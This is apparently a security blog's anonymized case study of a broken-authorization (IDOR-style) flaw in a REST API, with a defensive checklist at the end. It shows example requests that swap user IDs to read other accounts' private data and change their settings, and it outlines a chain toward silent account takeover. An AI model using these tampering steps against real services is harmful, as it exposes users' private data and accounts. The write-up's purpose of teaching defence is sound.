This Is How I Hacked a Private User Account Using Insecure API Endpoints

spyboy's avatarPosted by

(Post-Authentication Abuse – Educational Case Study)

Disclaimer
This article is for educational and defensive purposes only.
The application, endpoints, IDs, and data shown here are fully anonymized.
No real users or systems were harmed.
The goal is to teach how insecure APIs fail in the real world.


Why APIs Are the New Attack Surface

Modern applications don’t “talk” to servers like old websites.

They talk through APIs.

Mobile apps
Web apps
Browser extensions
All of them hit APIs.

And here’s the problem:

APIs are built for developers, not attackers — but attackers use them better.

This post shows how I accessed another user’s private account data after login — without breaking authentication.


Target Overview (Anonymized)

  • Type: Web + mobile backend
  • Auth: JWT (Bearer token)
  • User actions:
    • View profile
    • Update settings
    • View activity logs
  • Backend: REST API
  • Frontend: SPA + Mobile app

Phase 1: Post-Auth Recon (Where Most People Stop)

I logged in normally.

Many testers stop here.

I don’t.

I immediately opened:

  • DevTools → Network
  • Filtered by /api/
  • Watched every request

Phase 2: Spotting the Weak Endpoint

While viewing Account Settings, the browser sent:

GET /api/user/details HTTP/1.1
Authorization: Bearer eyJhbGciOi...

Response:

{
  "id": 1842,
  "email": "me@example.com",
  "phone": "9XXXXXXXXX",
  "plan": "free"
}

Looks safe… until you scroll.


Phase 3: The Hidden Parameter

I replayed the request in Burp Repeater and added:

GET /api/user/details?id=1843 HTTP/1.1
Authorization: Bearer eyJhbGciOi...

Response:

{
  "id": 1843,
  "email": "victim@example.com",
  "phone": "8XXXXXXXXX",
  "plan": "premium"
}

😐
Different user.
Same token.


Why This Is Worse Than IDOR

This wasn’t obvious IDOR like /user?id=.

The backend:

  • Accepted implicit parameters
  • Didn’t validate ownership
  • Used token only for authentication, not authorization

Phase 4: Enumerating the API (Quietly)

Once one endpoint fails, others usually do too.

I tested similar patterns:

GET /api/user/activity?id=1843
GET /api/user/sessions?id=1843
GET /api/user/notifications?id=1843

All returned data.


Phase 5: Write Access (Where Damage Happens)

Then I tested updates.

PUT /api/user/settings HTTP/1.1
Content-Type: application/json
Authorization: Bearer <token>

{
  "id": 1843,
  "email_notifications": false
}

Response:

{ "status": "updated" }

I changed another user’s settings.


Real-World Attack Chain

This enables:

1️⃣ Enumerate users
2️⃣ Read private data
3️⃣ Modify settings
4️⃣ Disable alerts
5️⃣ Combine with password reset
6️⃣ Silent account takeover

No alerts.
No logs (usually).
No UI indication.


Root Cause (The Actual Bug)

❌ Developer Assumptions

  • “User ID comes from token”
  • “Frontend won’t send ID”
  • “Mobile app is trusted”

All false.


✅ Proper API Design

Never accept user identifiers from the client.

Correct logic:

user_id = request.auth.user_id

Ignore everything else.


How I Hunt Insecure APIs (Exact Method)

🔍 My API Abuse Checklist

  • Test hidden parameters
  • Add/remove fields
  • Change IDs
  • Switch HTTP verbs
  • Replay mobile requests on web

If it works once, it works everywhere.


Tools Used

ToolPurpose
DevToolsBaseline traffic
Burp SuiteParam tampering
RepeaterControlled testing
LogicCore exploit

Severity Assessment

FactorImpact
Data exposureHigh
Account manipulationHigh
DetectionLow
ExploitabilityEasy

Severity:

High → Critical


Why This Happens So Often

Because:

  • APIs evolve fast
  • Authorization is an afterthought
  • Mobile endpoints are reused
  • Backend trusts the client

Attackers don’t need XSS or SQLi anymore.

They need endpoints.


Defensive Checklist (For Builders)

  • ❌ Don’t trust client IDs
  • ✅ Bind data to token identity
  • ✅ Centralize authorization
  • ✅ Log cross-user access
  • ✅ Test APIs with wrong IDs

Final Thoughts

This wasn’t hacking.

This was using the API exactly as allowed.

And that’s the scariest part.

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.